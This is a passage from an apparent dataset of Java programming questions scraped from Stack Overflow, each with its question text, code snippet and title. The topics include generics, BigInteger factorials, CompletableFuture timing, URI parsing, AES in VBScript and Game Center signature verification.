InnerWrapper ( ) ; private class InnerWrapper { private final Jane jane = new Jane ( ) ; } public Jane getJane ( ) { return wrapper.jane ; } },Can we get painless lazy loading of a Java member in a similar way to the way we can with static singletons ? +Java,"I 'm following the Java tutorial on Primitive Data Types . Early on , it states that In Java SE 8 and later , you can use the int data type to represent an unsigned 32-bit integer , which has a minimum value of 0 and a maximum value of 2^32-1 . Use the Integer class to use int data type as an unsigned integer.What I 'm understanding from this quote is that I can now store up to 2^32-1 as an int as long as I use the Integer wrapper object rather than the int primitive data type . But when I tried this out , my compiler is complaining that the value I 'm using is too large , 2^31 . I 've tried this using both the primitive data type and Object.How exactly do I use an int/Integer to store unsigned value , such as 2^31 ?",Integer integerObjectLarge = 2147483648 ; //2^31int integerPrimitiveLarge = 2147483648 ; //2^31,Unsigned int ( primitive ) and Integer ( Object ) usage in Java +Java,"I want to iterate through two arrays ( A , B ) based on the sorted order of another array ( indexes ) , which is 10 , 34 , 32 , 21 in this case . Apology for the bad example here . I have updated the indexes array to clear the confusion.Expected Input and OutputThe input are the three arrays . I wanted to iterate through A , B using the sorted of the indexes array . i.e . I want to find a way to iterate A using the order ( a , d , c , b ) and iterate B using the order ( e , h , g , f ) My approach : I solved the problem with a solution that I believe is identical to another approach . However , the second approach does not work . I would appreciate if someone can explain why it does not work as I think it would give me a better understanding of how Collections.sort works in java.Inspired by this thread , I created an ArrayList ( prefer AList not array ) with value ( 1 , 2 , 3 ... indexes.length ) and then sort it using a comparator with ref . to indexes . The codes above work as expected.However , if I change the indexes [ s ] at the end of the last line to indexes [ indexOrder.indexOf ( s ) ] . The sorting will give a wrong result . Why is indexOf ( s ) giving a different result than s if the ArrayList 's index is the same as its value .","String [ ] A : a , b , c , dString [ ] B : e , f , g , hint [ ] indexes : 10 , 34 , 32 , 21 List < Integer > indexOrder = new ArrayList < > ( indexes.length ) ; for ( int i = 0 ; i < indexes.length ; i++ ) { indexOrder.add ( i ) ; } Collections.sort ( indexOrder , Comparator.comparing ( ( Integer s ) - > indexes [ s ] ) ) ; Collections.sort ( indexOrder , Comparator.comparing ( ( Integer s ) - > indexes [ indexOrder.indexOf ( s ) ] ) ) ;",Java : Sorting an array based on another array with indexOf method +Java,"I have been working on a Java program that generates fractal orbits for quite some time now . Much like photographs , the larger the image , the better it will be when scaled down . The program uses a 2D object ( Point ) array , which is written to when a point 's value is calculated . That is to say the Point is stored in it 's corresponding value , I.e . : Of course , this is edited for simplicity . I could just write the point values to a CSV , and apply them to the raster later , but using similar methods has yielded undesirable results . I tried for quite some time because I enjoyed being able to make larger images with the space freed by not having this array . It just wo n't work . For clarity I 'd like to add that the Point object also stores color data . The next problem is the WriteableRaster , which will have the same dimensions as the array . Combined the two take up a great deal of memory . I have come to accept this , after trying to change the way it is done several times , each with lower quality results . After trying to optimize for memory and time , I 've come to the conclusion that I 'm really limited by RAM . This is what I would like to change . I am aware of the -Xmx switch ( set to 10GB ) . Is there any way to use Windows ' virtual memory to store the raster and/or the array ? I am well aware of the significant performance hit this will cause , but in lieu of lowering quality , there really does n't seem to be much choice .","Point p = new Point ( 25,30 ) ; histogram [ 25 ] [ 30 ] = p ;",Java Heap Hard Drive +Java,"Today when I submitted a solution to codeforces , I used int [ ] array and my submission got TLE ( Time limit exceeded ) & after changing it to Integer [ ] array surprisingly it got AC . I did n't get how the performance is improved .","import java.io . * ; import java.lang.reflect.Array ; import java.util . * ; public class Main { static class Task { public void solve ( InputReader in , PrintWriter out ) throws Exception { int n = in.nextInt ( ) ; Integer [ ] a = new Integer [ n ] ; for ( int i = 0 ; i < n ; i++ ) a [ i ] = in.nextInt ( ) ; Arrays.sort ( a ) ; long count = 0 ; for ( int i = 0 ; i < n ; i++ ) count += Math.abs ( i + 1 - a [ i ] ) ; out.println ( count ) ; } } public static void main ( String [ ] args ) throws Exception { InputStream inputStream = System.in ; OutputStream outputStream = System.out ; InputReader in = new InputReader ( inputStream ) ; PrintWriter out = new PrintWriter ( outputStream ) ; Task task = new Task ( ) ; task.solve ( in , out ) ; out.close ( ) ; } static class InputReader { public BufferedReader reader ; public StringTokenizer tokenizer ; public InputReader ( InputStream stream ) { reader = new BufferedReader ( new InputStreamReader ( stream ) , 32768 ) ; tokenizer = null ; } public String next ( ) { while ( tokenizer == null || ! tokenizer.hasMoreTokens ( ) ) { try { tokenizer = new StringTokenizer ( reader.readLine ( ) ) ; } catch ( IOException e ) { throw new RuntimeException ( e ) ; } } return tokenizer.nextToken ( ) ; } public int nextInt ( ) { return Integer.parseInt ( next ( ) ) ; } } }",performance of int Array vs Integer Array +Java,"for example , i have this class : and now me intresting how algoritm work this code.I think , that this steps:1 line - all correct call method with int param , perfect.2 line - call method with byte param ... oooops . what do ? Java try widening byte to int ? Its true ? 3 line call method with long param ... again ooops . what do ? convert long to int java ca n't , because loss of accuracy . its try ? And in result - Exception.Than I add this : and if a call : all correct , no Exception so , what the relation between primitive type long and Object ?",public class Col { static void test ( int a ) { System.out.println ( `` int '' ) ; } public static void main ( String args [ ] ) { Col.test ( 12 ) ; //1 Col.test ( ( byte ) 12 ) ; //2 Col.test ( ( long ) 100 ) ; //3 } } public static void test ( Object a ) { System.out.println ( `` Object '' ) ; } Col.test ( ( long ) 100 ) ;,Java . Overloading method +Java,"As a java beginner I wanted to ask about if I should set an object reference to null , or call the finalize method in a large project ? For example , Since im done with the obj and there are no more references to it what should i do with it ? set it to null or call finalize ( ) ; ? I read the java doc but this paragraph The finalize method is never invoked more than once by a Java virtual machine for any given object . confused me . Does that mean that even if i use it , it wo n't do anything at all unless GC decides to do so ? Then , will my decision to set the obj to null help any ? This all assuming its a large project and the scope has yet to end in order for GC to deallocate it itself . Thanks .",while ( obj ... some code here ) { //code stuff } obj = null ; // or obj.finalize ( ) ;,Set object reference to null or call the finalize ( ) method ? +Java,It seems to have a special meaning in annotations - it allows you to skip the parameter names when instaniating an annotation.Where is this documented ? Is value a keyword or not ? See also .,@ Foo ( bar = `` abc '' ) // a normal instantiation of an annotation @ Foo ( `` abc '' ) // if bar were renamed 'value ',Is 'value ' a java keyword ? +Java,"I want to capture calls to a mock objectSo inside allowing I have a Function < Object , String > Is there any reflecto-magic that will let me find the service from the function created from the method reference ? I know that the Function will always come from these method references , so I 'm happy to down-cast as much as is necessary.This is not the same question as the related Is it possible to convert method reference to MethodHandle ? because , well for a start it is n't the same question , just in a related area . And even if I can get a MethodHandle , I ca n't get the target from it .","public interface Service { public String stringify ( Object o ) ; } service = mockery.mock ( Service.class ) ; mockery.allowing ( service : :stringify ) .with ( 42 ) .will ( ( ) - > `` 42 '' ) ; public WithClause allowing ( Function < T , R > f ) { Object myServiceBackAgain = findTargetOf ( function ) ; ... . }",How can I find the target of a Java8 method reference ? +Java,"I 'm working on a JAVA program which makes requests to an asp file and it 's working fine.Now I want to encrypt POST requests , but I need to use the same key for encryption on JAVA and ASP for decrypting correctly ( or that 's what I think ) . How can I generate a key from a String on vbscript ? And do I need to custom the IV ? I do n't know what is that : ( ( I never encrypted anything , I 'm new to this )","set obj = server.CreateObject ( `` System.Security.Cryptography.RijndaelManaged '' ) set utf = CreateObject ( `` System.Text.UTF8Encoding '' ) s= '' This is a private message '' bytes=utf.GetBytes_4 ( s ) obj.GenerateKey ( ) 'need to custom thisobj.GenerateIV ( ) 'need to custom this ? set enc=obj.CreateEncryptor ( ) set dec=obj.CreateDecryptor ( ) bytec=enc.TransformFinalBlock ( ( bytes ) ,0 , lenb ( bytes ) ) sc=utf.GetString ( ( bytec ) ) response.write scbyted=dec.TransformFinalBlock ( ( bytec ) ,0 , lenb ( bytec ) ) sd=utf.GetString ( ( byted ) ) response.write sd",Custom key for aes/rijndael on vbscript +Java,"Running this code with JDK 1.8 : results in this error : java.net.URISyntaxException : Illegal character in hostname at index 13 : //5-12-145-35_s-81:443Where does this error come from , considering all the hostname characters seem legit , according to Types of URI characters ? If I use these URLs : //5-12-145-35_s-81:443 or /5-12-145-35_s-81:443 the error is gone.From the comments , I understand that , according to RFC-2396 , the hostname can not contain any underscore characters . The question that still holds is why a hostname starting with slash or double slash is allowed to contain underscores ?","try { System.out.println ( new URI ( null , null , `` 5-12-145-35_s-81 '' , 443 , null , null , null ) ) ; } catch ( URISyntaxException e ) { e.printStackTrace ( ) ; }",Why is the hostname declared invalid when creating a URI +Java,"Try this piece of code . Why does getValueB ( ) return 1 instead of 2 ? After all , the increment ( ) function is getting called twice .","public class ReturningFromFinally { public static int getValueA ( ) // This returns 2 as expected { try { return 1 ; } finally { return 2 ; } } public static int getValueB ( ) // I expect this to return 2 , but it returns 1 { try { return increment ( ) ; } finally { increment ( ) ; } } static int counter = 0 ; static int increment ( ) { counter ++ ; return counter ; } public static void main ( String [ ] args ) { System.out.println ( getValueA ( ) ) ; // prints 2 as expected System.out.println ( getValueB ( ) ) ; // why does it print 1 ? } }",Java 's strange behavior while returning from finally block +Java,"I had a quick question about naming conventions in Java . I read a few guidelines , but none answered my specific question.What word order should I use ? For example , I have an abstract class : If I wanted to make children , how do I name them ? Like this : Or like this : Or in some other way ? I would reckon it 's my first example , but I 'm not sure.This is how these requirements would then be used : Any help or feedback would be greatly appreciated ! Sorry if this a bit of a `` nooby '' question , I 'm quite experienced with Java and programming in general , but for some reason I 'm still not too sure on this .",abstract class Requirement class RequirementOnlyPlayer extends Requirementclass RequirementOnlyConsole extends Requirementclass RequirementArgumentCount extends Requirement class OnlyPlayerRequirement extends Requirementclass OnlyConsoleRequirement extends Requirementclass ArgumentCountRequirement extends Requirement addRequirement ( new RequirementOnlyPlayer ( ) ) ; addRequirement ( new RequirementArgumentCount ( 3 ) ) ;,Word order in class names in java +Java,"I created a simple application , a counter app , that upon pressing a button increments a integer by one and updates a textview . The code can be seen below : After decompiling the same app with dex2jar and jd-gui i received the following code back : On the following line : How is it possible for the system to set the textview to the paramBundle ? And why is this happening ? paramBundle is of type Bundle and TextView is not a subclass of Bundle , further more Bundle is final according to the decompiled version . Did something go wrong upon decompiling ? Is the information from the decompiler wrong or why do we get this result ? Edit : I 'm definitely no smali expert , only a novice . But i decoded the application using apktool as well and received the smali code above . From my understanding , the savedinstance ( paramBundle ) is loaded in to p1 ( =v3 ) and used in onCreate , and it is not used in any way in line 20 or 21 . To me this point towards a decompling error ? Keep in mind that apktool allows for building the application again and thus no data may be lost when decompiling .","public class MainActivity extends Activity { public static int count = 0 ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; final TextView textView = ( TextView ) findViewById ( R.id.count ) ; textView.setText ( Integer.toString ( count ) ) ; final Button button = ( Button ) findViewById ( R.id.button ) ; button.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { count++ ; textView.setText ( Integer.toString ( count ) ) ; } } ) ; } ... } public class MainActivity extends Activity { public static int count = 0 ; protected void onCreate ( final Bundle paramBundle ) { super.onCreate ( paramBundle ) ; setContentView ( 2130903040 ) ; paramBundle = ( TextView ) findViewById ( 2131296257 ) ; paramBundle.setText ( Integer.toString ( count ) ) ; ( ( Button ) findViewById ( 2131296256 ) ) .setOnClickListener ( new View.OnClickListener ( ) { public void onClick ( View paramAnonymousView ) { MainActivity.count += 1 ; paramBundle.setText ( Integer.toString ( MainActivity.count ) ) ; } } ) ; } ... } paramBundle = ( TextView ) findViewById ( 2131296257 ) ; paramBundle.setText ( Integer.toString ( count ) ) ; # virtual methods.method protected onCreate ( Landroid/os/Bundle ; ) V .locals 3 .param p1 , `` savedInstanceState '' # Landroid/os/Bundle ; .prologue .line 17 invoke-super { p0 , p1 } , Landroid/app/Activity ; - > onCreate ( Landroid/os/Bundle ; ) V .line 18 const/high16 v2 , 0x7f030000 invoke-virtual { p0 , v2 } , Lcom/example/rawa/helloworld/MainActivity ; - > setContentView ( I ) V .line 20 const v2 , 0x7f090001 invoke-virtual { p0 , v2 } , Lcom/example/rawa/helloworld/MainActivity ; - > findViewById ( I ) Landroid/view/View ; move-result-object v1 check-cast v1 , Landroid/widget/TextView ; .line 21 .local v1 , `` textView '' : Landroid/widget/TextView ; sget v2 , Lcom/example/rawa/helloworld/MainActivity ; - > count : I invoke-static { v2 } , Ljava/lang/Integer ; - > toString ( I ) Ljava/lang/String ; move-result-object v2 invoke-virtual { v1 , v2 } , Landroid/widget/TextView ; - > setText ( Ljava/lang/CharSequence ; ) V .line 22 const/high16 v2 , 0x7f090000 invoke-virtual { p0 , v2 } , Lcom/example/rawa/helloworld/MainActivity ; - > findViewById ( I ) Landroid/view/View ; move-result-object v0 check-cast v0 , Landroid/widget/Button ; .line 23 .local v0 , `` button '' : Landroid/widget/Button ; new-instance v2 , Lcom/example/rawa/helloworld/MainActivity $ 1 ; invoke-direct { v2 , p0 , v1 } , Lcom/example/rawa/helloworld/MainActivity $ 1 ; - > < init > ( Lcom/example/rawa/helloworld/MainActivity ; Landroid/widget/TextView ; ) V invoke-virtual { v0 , v2 } , Landroid/widget/Button ; - > setOnClickListener ( Landroid/view/View $ OnClickListener ; ) V .line 30 return-void.end method","Strange assignment , TextView to Bundle , after decompiling , why ?" +Java,"I 'm having a really strange problem . I 'm trying to download some file and store . My code is relatively simple and straight forward ( see below ) and works fine on my local machine.But it is intended to run on a Windows Terminal Server accessed through Citrix and a VPN . The file is to be saved to a mounted network drive . This mount is the local C : \ drive mounted through the Citrix VPN , so there might be some lag involved . Unfortunately I have no inside detail about how exactly the whole infrastructure is set up ... Now my problem is that the code below throws an IOException telling me there is no space left on the disk , when attempting to execute the write ( ) call . The directory structure is created alright and a zero byte file is created , but content is never written.There is more than a gigabyte space available on the drive , the Citrix client has been given `` Full Access '' permissions and copying/writing files on that mapped drive with Windows explorer or notepad works just fine . Only Java is giving me trouble here.I also tried downloading to a temporary file first and then copying it to the destination , but since copying is basically the same stream operation as in my original code , there was no change in behavior . It still fails with a out of disk space exception.I have no idea what else to try . Can you give any suggestions ?","public boolean downloadToFile ( URL url , File file ) { boolean ok = false ; try { file.getParentFile ( ) .mkdirs ( ) ; BufferedInputStream bis = new BufferedInputStream ( url.openStream ( ) ) ; byte [ ] buffer = new byte [ 2048 ] ; FileOutputStream fos = new FileOutputStream ( file ) ; BufferedOutputStream bos = new BufferedOutputStream ( fos , buffer.length ) ; int size ; while ( ( size = bis.read ( buffer , 0 , buffer.length ) ) ! = -1 ) { bos.write ( buffer , 0 , size ) ; } bos.flush ( ) ; bos.close ( ) ; bis.close ( ) ; ok = true ; } catch ( Exception e ) { e.printStackTrace ( ) ; } return ok ; }",IOException insufficient disk space when accessing Citrix mounted drive +Java,"I have a set of xsd files for different data types . In the Java world , what is the best way to generate a list of the properties of the types ? e.g . with these two files.file : customer.xsdfile : order.xsdI 'd like to do two things1 . a Java application which reads in the XSD and processes then ( somehow ? ) . So when you run the program it can print the properties out2 . some kind of transformation which generates a new filefile : customer.propertiesI tried to implement the program in ( 1 ) above using java reflection to interrogate Java classes generated by JAXB.This created an instance of the class and interrogated the values and fields , but it does not work where values are composed of a sequence that is empty . There is no way to get back to the original type of the value due to type erasure . You end up with an empty ArrayList of something , but you do n't know what.I 'm from the C++ work so I 'm a bit lost with all this Java technology at the moment . My Google powers have failed me - most of the JAVA/XSD posts I 've seen talk about validation which is not what I want to do .",< ? xml version= '' 1.0 '' encoding= '' ISO-8859-1 '' ? > < xs : schema xmlns : xs= '' http : //www.w3.org/2001/XMLSchema '' > < xs : element name= '' customer '' > < xs : complexType > < xs : sequence > < xs : element name= '' number '' type= '' xs : integer '' / > < xs : element name= '' name '' type= '' xs : string '' / > < xs : element name= '' address '' type= '' xs : string '' / > < /xs : sequence > < /xs : complexType > < /xs : element > < /xs : schema > < ? xml version= '' 1.0 '' encoding= '' ISO-8859-1 '' ? > < xs : schema xmlns : xs= '' http : //www.w3.org/2001/XMLSchema '' > < xs : element name= '' customer '' > < xs : complexType > < xs : sequence > < xs : element name= '' orderid '' type= '' xs : integer '' / > < xs : element name= '' customer '' type= '' xs : string '' / > < /xs : sequence > < /xs : complexType > < /xs : element > < /xs : schema > > java -jar printtypes.jar -f customer.xsd > number : Integer > name : String > address : String < propertylist > < prop > < name > orderid < /name > < type > integer < /type > < /prop > < prop > < name > customer < /name > < type > string < /type > < /prop > < /propertylist >,Java methods for interrogating XSD files +Java,"Using the Apple 's Game Center authentication verification steps outlined here , the verification logic below has been implemented using Java . However , this always fails.There were no loss of bits in transferring data from the iOS 7 client to the server . This was verified by writing the binary bits to a file both from xCode and Java , generating their hex , and seeing if there were any diffs ( note , the diffs just show the file name diffs ) : I believe this fails because of the underlying Java libraries that Signature class uses , since the Objective-C solution listed here appears to successfully verify the same credentials.My next attempt was to use the Java 's [ Cipher ] and [ MessageDigest ] libraries instead of the [ Signature ] library , but this too fails . I suspect there are other steps missing before the signature digest bits can be checked with the provided signature bits.Are there alternatives to verifying the digital signature or any gaps in the solutions posted above ?","import java.net.URL ; import java.nio.ByteBuffer ; import java.nio.ByteOrder ; import java.security.KeyPair ; import java.security.KeyPairGenerator ; import java.security.MessageDigest ; import java.security.PrivateKey ; import java.security.PublicKey ; import java.security.SecureRandom ; import java.security.Signature ; import java.security.cert.Certificate ; import java.security.cert.CertificateFactory ; import java.security.spec.AlgorithmParameterSpec ; import java.util.Arrays ; import javax.crypto.Cipher ; import javax.xml.bind.DatatypeConverter ; public class Verifier { public static void main ( String [ ] args ) { verify1 ( ) ; } public static void verify1 ( ) { try { byte [ ] playerID = `` G:90082947 '' .getBytes ( `` UTF-8 '' ) ; byte [ ] bundleID = `` com.appledts.GameCenterSamples '' .getBytes ( `` UTF-8 '' ) ; long ts = 1392078336714L ; final ByteBuffer tsByteBuffer = ByteBuffer.allocate ( 8 ) ; tsByteBuffer.order ( ByteOrder.BIG_ENDIAN ) ; tsByteBuffer.putLong ( ts ) ; byte [ ] timestamp = tsByteBuffer.array ( ) ; byte [ ] salt = DatatypeConverter.parseBase64Binary ( `` xmvbZQ== '' ) ; byte [ ] sigToCheck = DatatypeConverter.parseBase64Binary ( `` AmyNbm+7wJOjXv6GXI/vAEcl6gSX1AKxPr3GeExSYCiaxVaAeIvC23TWtp1/Vd/szfq1r1OzwrvkHeSSiskWMsMXaGQWUmiGtCnf9fqBU75T5PwNLCj4H9Nd5QENCMV/CFgVyGEi4X6Wlp18kqJPk/ooS6jLJwcWIe6DyrR1bQHl6YzKTfB4ACl2JEccBDz8dArKTrh4vFcQF4a+DtERm283Y2ue1DwG8lqWrYhsRO5v7vrW3lVpn5t25QXc+Y35zJ/il+lZJxKAgASwrKaq3G8RStdkeXCER23fSYhTmbLFqkFRWnmzu38hmLt5/iivUbm8NgELXP0SyQoYLMvfmA== '' ) ; ByteBuffer dataBuffer = ByteBuffer.allocate ( playerID.length+bundleID.length+8+salt.length ) .put ( playerID ) .put ( bundleID ) .put ( timestamp ) .put ( salt ) ; Certificate cert = CertificateFactory.getInstance ( `` X.509 '' ) .generateCertificate ( new URL ( `` https : //sandbox.gc.apple.com/public-key/gc-sb.cer '' ) .openConnection ( ) .getInputStream ( ) ) ; Signature sig = Signature.getInstance ( `` SHA1withRSA '' ) ; sig.initVerify ( cert ) ; sig.update ( dataBuffer ) ; final boolean verify = sig.verify ( sigToCheck ) ; System.out.println ( `` signature verifies : `` + verify ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } } $ xxd -i salt_Java.txt salt_java.xxd $ xxd -i salt_xcode.txt salt_xcode.xxd $ xxd -i sigToCheck_Java.txt sigToCheck_java.xxd $ xxd -i sigToCheck_xcode.txt sigToCheck_xcode.xxd $ diff salt_java.xxd salt_xcode.xxd 1c1 < unsigned char salt_Java_txt [ ] = { -- - > unsigned char salt_xcode_txt [ ] = { 4c4 < unsigned int salt_Java_txt_len = 4 ; -- - > unsigned int salt_xcode_txt_len = 4 ; $ diff sigToCheck_java.xxd sigToCheck_xcode.xxd 1c1 < unsigned char sigToCheck_Java_txt [ ] = { -- - > unsigned char sigToCheck_xcode_txt [ ] = { 25c25 < unsigned int sigToCheck_Java_txt_len = 256 ; -- - > unsigned int sigToCheck_xcode_txt_len = 256 ; $ final MessageDigest md = MessageDigest.getInstance ( `` SHA1 '' ) ; byte [ ] digest = md.digest ( dataBuffer.array ( ) ) ; // RSA decryptCipher cipher = Cipher.getInstance ( `` RSA/ECB/PKCS1Padding '' ) ; cipher.init ( Cipher.DECRYPT_MODE , cert ) ; byte [ ] decrypted = cipher.doFinal ( sigToCheck ) ; System.out.println ( `` signature verifies : `` + Arrays.equals ( digest , decrypted ) ) ;",How to authenticate GKLocalPlayer on my third-party-server using Java JDK 1.7 ? +Java,"Where the `` super '' is actually defined ? [ When we 're using super.someMethod ( ) ] . Is it defined as a field in java.lang.Object class or java.lang.Class class ? When we 're calling from a subclass , super contains the reference to it 's superclass.In the same manner the super in superclass itself has reference to it 's superclass [ In this way upto java.lang.Object ] . So , how java injects the superclass references to the `` super '' field which enables us to call superclass methods ? Is there any under the hood implementaations like the following :",Class current = this.getClass ( ) ; Class parent = current.getSuperclass ( ) ; System.out.println ( `` name is = '' + parent ) ;,How super is implemented in Java ? +Java,"First callback call is quite fast and the rest are delayed ~50ms ( non additive ) and I do n't know why.output : EDIT : Other cases that surprises me even more . I think CompletableFuture may not be the problem.If I add this line : I get this output , no change : But if I add this line instead : The delay is gone ! !","public class CfTest { final static long t0 = System.nanoTime ( ) ; public static void main ( String [ ] args ) { CompletableFuture < Integer > cf1 = CompletableFuture.supplyAsync ( ( ) - > { sleep ( 2000 ) ; return 100 ; } ) ; CompletableFuture < Long > cf2 = CompletableFuture.supplyAsync ( ( ) - > { sleep ( 1000 ) ; return 1L ; } ) ; CompletableFuture < Long > cfs = cf1.thenCombine ( cf2 , ( a , b ) - > a+b ) ; cfs.thenAccept ( x- > debug ( `` a1. `` + x ) ) ; // Async process , sync when complete cfs.thenAccept ( x- > debug ( `` a2. `` + x ) ) ; // Async process , sync when complete cfs.thenAcceptAsync ( x- > debug ( `` a3. `` + x ) ) ; // Async process , async after complete too debug ( `` b. `` + cfs.join ( ) ) ; // Wait and process debug ( `` c. `` + cfs.join ( ) ) ; // Wait and process } private static void sleep ( int i ) { try { Thread.sleep ( i ) ; } catch ( InterruptedException e ) { throw new RuntimeException ( e ) ; } } private static void debug ( Object res ) { System.out.println ( String.format ( `` after % .3fs : % s '' , ( System.nanoTime ( ) -t0 ) / ( float ) TimeUnit.SECONDS.toNanos ( 1 ) , res ) ) ; System.out.flush ( ) ; } } after 2,067s : a1 . 101after 2,129s : a2 . 101after 2,129s : a3 . 101after 2,129s : b . 101after 2,129s : c. 101 ... cfs.thenAcceptAsync ( x- > debug ( `` a3. `` + x ) ) ; // Async process , async after complete too System.out.println ( `` Waiting ... '' ) ; // < -- New Line debug ( `` b. `` + cfs.join ( ) ) ; // Wait and process debug ( `` c. `` + cfs.join ( ) ) ; // Wait and process Waiting ... after 2,066s : a1 . 101after 2,121s : a2 . 101after 2,122s : a3 . 101after 2,122s : b . 101after 2,122s : c. 101 ... cfs.thenAcceptAsync ( x- > debug ( `` a3. `` + x ) ) ; // Async process , async after complete too debug ( `` Waiting ... '' ) ; // < -- New Line debug ( `` b. `` + cfs.join ( ) ) ; // Wait and process debug ( `` c. `` + cfs.join ( ) ) ; // Wait and process after 0,068s : Waiting ... after 2,066s : a1 . 101after 2,067s : a2 . 101after 2,067s : b . 101after 2,067s : a3 . 101after 2,068s : c. 101",Unjustified delay on java-8 CompletableFuture callback calls +Java,"I am using vagrant to run my playframework based java project in ubuntu enviornmentI have set my play setup directory path to PATH enviornment varible , But when I am running play command it is showing me error But when I am running ./play command in my setup directory it working fine",vagrant @ precise64 : / $ playplay : SoX v14.3.2play FAIL sox : Not enough input filenames specifiedUsage summary : [ gopts ] [ [ fopts ] infile ] ... [ fopts ] [ effect [ effopt ] ] ...,Vagrant to run play framework +Java,"Consider this example : This compiles perfectly . However when I try to make this compile without using the diamond , the only way I can get it to work is by using a raw type . Attempts without raw types do n't work : So why does the original version with the diamond work ? What is the inferred type when you write Main < ? > main = new Main < > ( ) ; ? Is it inferring a raw type , or is it inferring some kind of infinitely nested type like this ?",public final class Main < T extends Main < T > > { public static void main ( String [ ] args ) { Main < ? > main = new Main < > ( ) ; } } Main < ? > main = new Main ( ) ; Main < ? > main = new Main < ? > ( ) ; // None ofMain < ? > main = new Main < Main < ? > > ( ) ; // theseMain < ? > main = new Main < Main < Main < ? > > > ( ) ; // compile Main < Main < Main < Main < ... > > > >,Self-referential Generic Types +Java,"I have the following Marklogic query that , when run in the query console , allows me to retrieve my system user 's who have admin privileges : Pardon my ignorance , but is it possible to implement this query using the Java client API only ? I know I could use the raw query via XCC but I 'm trying to avoid that as much as possible.I 've been digging through the Java client API 's documentation which , unfortunately , deals briefly with other search methods and have found nothing hinting that this is possible.UPDATE 1 : Guys , I think I 've hit a showstopper here.According to this question , the Query Options building facilities of the Java client API are marked as deprecated . @ ehennum suggests an alternative which uses either XML or JSON query options . However , such query option specifications are still essentially defined as raw Strings in the code : Granted , I could use JAXB , JDOM , files or some other tool to create the XML , but my personal opinion is that we are still resorting to storing queries in resource files in the code , which is not a bad thing in itself , but without careful consideration could lead to code maintenance nightmares.Furthermore , the fact that these options need to be persisted via REST at the server introduces one more layer of potential problems in case this is mandatory since the options might need to be synchronized with every database instance that is meant to work with a code base.So , if the Marklogic devs are listening , I think the Java client API is n't as mature or documented as I expected it to be.I have two options so far:1 ) I could hardcode my XCC queries in String files and try to use parameter placeholders to insert the data that I need and retrieve via an XCC session . Or.2 ) See if there are any XSD files for the http : //marklogic.com/appservices/search namespace and create static JAXB objects from them in order to build some sort of `` criteria '' classes a la Hibernate or QueryDSL which , sadly I must say , already supports some level of MongoDB querying.Guys , really , bring some sort of fluent querying facilities like QueryDSL to Marklogic and get rid of this Rube Goldberg querying machine.Update 2 : Seems as if this might be addressed in ML7 . Looking forward to it.Thanks !","xquery version `` 1.0-ml '' ; import schema namespace bfa= '' http : //bitfood.org/auth '' at `` schema/auth/bitfood-auth.xsd '' ; cts : search ( /bfa : AppUser [ bfa : appAccess/ @ appRole = `` ROLE_SYS_ADMIN '' ] , cts : and-query ( ( ) ) ) String xmlOptions = `` < search : options `` + `` xmlns : search='http : //marklogic.com/appservices/search ' > '' + `` < search : constraint name='industry ' > '' + `` < search : value > '' + `` < search : element name='industry ' ns= '' / > '' + `` < /search : value > '' + `` < /search : constraint > '' + `` < /search : options > '' ;",Document XPath searching with Marklogic 's Java search API vs XQuery/XSLT API +Java,"I 'm writing a polish notation calculator for BigIntegers ( just * , ^ and ! ) and I 'm getting an OutOfMemoryError on the line where I 'm subtracting BigInteger.ONE to get the factorial to work , why ? Error :","package polish_calculator ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.InputStreamReader ; import java.math.BigInteger ; import java.util.Stack ; public class Main { static BigInteger factorial ( BigInteger number ) { Stack < BigInteger > factorialStack = new Stack < BigInteger > ( ) ; factorialStack.push ( number ) ; while ( ! number.equals ( BigInteger.ONE ) ) { //load the stack factorialStack.push ( number.subtract ( BigInteger.ONE ) ) ; // here 's the error } BigInteger result = BigInteger.ONE ; while ( ! factorialStack.empty ( ) ) { // empty and multiply the stack result.multiply ( factorialStack.pop ( ) ) ; } return result ; } public static void main ( String [ ] args ) throws IOException { BigInteger testFactorial = new BigInteger ( `` 12 '' ) ; System.out.println ( factorial ( testFactorial ) ) ; Stack < String > stack = new Stack < String > ( ) ; BufferedReader br = new BufferedReader ( new InputStreamReader ( System.in ) ) ; String readExpression = br.readLine ( ) ; while ( ! readExpression.equals ( `` '' ) ) { String [ ] splittedExpression = readExpression.split ( `` `` ) ; for ( int i=0 ; i < splittedExpression.length ; i++ ) { if ( splittedExpression [ i ] .equals ( `` * '' ) ) { BigInteger operand1 = new BigInteger ( stack.pop ( ) ) ; BigInteger operand2 = new BigInteger ( stack.pop ( ) ) ; BigInteger result = operand1.multiply ( operand2 ) ; String stackString = result.toString ( ) ; stack.push ( stackString ) ; } if ( splittedExpression [ i ] .equals ( `` ^ '' ) ) { BigInteger operand1 = new BigInteger ( stack.pop ( ) ) ; BigInteger operand2 = new BigInteger ( stack.pop ( ) ) ; BigInteger result = operand1.modPow ( operand2 , BigInteger.ONE ) ; String stackString = result.toString ( ) ; stack.push ( stackString ) ; } if ( splittedExpression [ i ] .equals ( `` ! '' ) ) { BigInteger operand1 = new BigInteger ( stack.pop ( ) ) ; BigInteger result = factorial ( operand1 ) ; String stackString = result.toString ( ) ; stack.push ( stackString ) ; } else { //it 's an integer stack.push ( splittedExpression [ i ] ) ; } } // end for splittedExpression.length } } } Exception in thread `` main '' java.lang.OutOfMemoryError : Java heap space at java.math.BigInteger.subtract ( BigInteger.java:1118 ) at polish_calculator.Main.factorial ( Main.java:45 ) at polish_calculator.Main.main ( Main.java:65 ) Java Result : 1",OutOfMemoryError on BigInteger +Java,"I have a Sudoku solving algorithm for which my goal is to make as fast as possible . To test this algorithm , I run it multiple times and calculate the average . After noticing some weird numbers , I decided to print all times and got this result : After 10 to 15 executions ( it varies randomly ) , the performance of the algorithm is drastically improves . If I run it several hundred times , it will eventually steady at around 0.3ms . Note that I run the algorithm once before this loop for JIT to do it 's thing.Furthermore , if I make the thread sleep for 2 seconds before running my loop , all my times are at 1ms ( +/- 0.2 ) .Furthermore , if I solved a generic Sudoku ( a grid with 1-9 diagonally ) some 500 times before my loop , all my times are around 0.3ms ( +/- 0.02 ) .Every solve is identical . All values are reset.So my question is many-fold : -Why does each solve time improve after consecutive solves ? -Why do I have a sudden drop in solve time after 10-15 solves ?",Execution Time : 4.257746 ms ( # 1 ) Execution Time : 7.610686 ms ( # 2 ) Execution Time : 6.277609 ms ( # 3 ) Execution Time : 7.595707 ms ( # 4 ) Execution 